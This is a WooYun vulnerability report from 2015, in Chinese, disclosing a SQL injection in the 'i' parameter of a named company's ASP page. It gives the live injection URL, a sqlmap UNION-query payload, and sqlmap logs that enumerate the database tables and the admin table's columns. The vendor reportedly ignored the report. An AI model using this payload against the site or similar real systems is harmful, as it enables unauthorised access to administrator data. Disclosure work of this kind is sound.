当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094503

漏洞标题：抚顺经纬网络#注入一枚

相关厂商：fsit.net

漏洞作者： 小邪

提交时间：2015-01-29 10:23

修复时间：2015-02-03 10:24

公开时间：2015-02-03 10:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-29： 细节已通知厂商并且等待厂商处理中
2015-02-03： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

抚顺经纬网络#注入一枚= =

详细说明：

漏洞地址：/com.asp?t=0&s=0&i=1
参数i存在注入
拿官网进行测试
注入点：http://fsit.net/com.asp?t=0&s=0&i=1
贴上过程

Place: GET
Parameter: i
    Type: UNION query
    Title: Generic UNION query (47) - 1 column
    Payload: t=0&s=0&i=-8586 UNION ALL SELECT CHR(58)&CHR(105)&CHR(102)&CHR(105)
&CHR(58)&CHR(119)&CHR(102)&CHR(112)&CHR(67)&CHR(78)&CHR(119)&CHR(84)&CHR(101)&CH
R(80)&CHR(98)&CHR(58)&CHR(97)&CHR(120)&CHR(121)&CHR(58) FROM MSysAccessObjects%0
0
---
[23:00:27] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[23:00:27] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[23:00:28] [WARNING] the SQL query provided does not return any output
[23:00:28] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[23:00:28] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]  y
[23:00:44] [INFO] checking table existence using items from 'D:\python\sqlmap\tx
t\common-tables.txt'
[23:00:44] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[23:00:50] [INFO] starting 8 threads
[23:00:55] [INFO] retrieved: admin
[23:03:40] [INFO] retrieved: content
[23:03:48] [INFO] retrieved: main
[23:04:28] [INFO] retrieved: root
Database: Microsoft_Access_masterdb
[4 tables]
+---------+
| admin   |
| content |
| main    |
| root    |
+---------+

漏洞证明：

Place: GET
Parameter: i
    Type: UNION query
    Title: Generic UNION query (47) - 1 column
    Payload: t=0&s=0&i=-8586 UNION ALL SELECT CHR(58)&CHR(105)&CHR(102)&CHR(105)
&CHR(58)&CHR(119)&CHR(102)&CHR(112)&CHR(67)&CHR(78)&CHR(119)&CHR(84)&CHR(101)&CH
R(80)&CHR(98)&CHR(58)&CHR(97)&CHR(120)&CHR(121)&CHR(58) FROM MSysAccessObjects%0
0
---
[23:09:13] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[23:09:13] [ERROR] cannot retrieve column names, back-end DBMS is Access
do you want to use common column existence check? [Y/n/q] y
[23:09:17] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[23:09:17] [INFO] checking column existence using items from 'D:\python\sqlmap\t
xt\common-columns.txt'
[23:09:17] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[23:09:20] [INFO] starting 8 threads
[23:09:20] [INFO] retrieved: username
[23:09:21] [INFO] retrieved: id
[23:09:26] [INFO] retrieved: data
Database: Microsoft_Access_masterdb
Table: admin
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| data     | non-numeric |
| id       | numeric     |
| username | non-numeric |
+----------+-------------+

修复方案：

过滤

版权声明：转载请注明来源 小邪@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-02-03 10:24

厂商回复：

最新状态：

暂无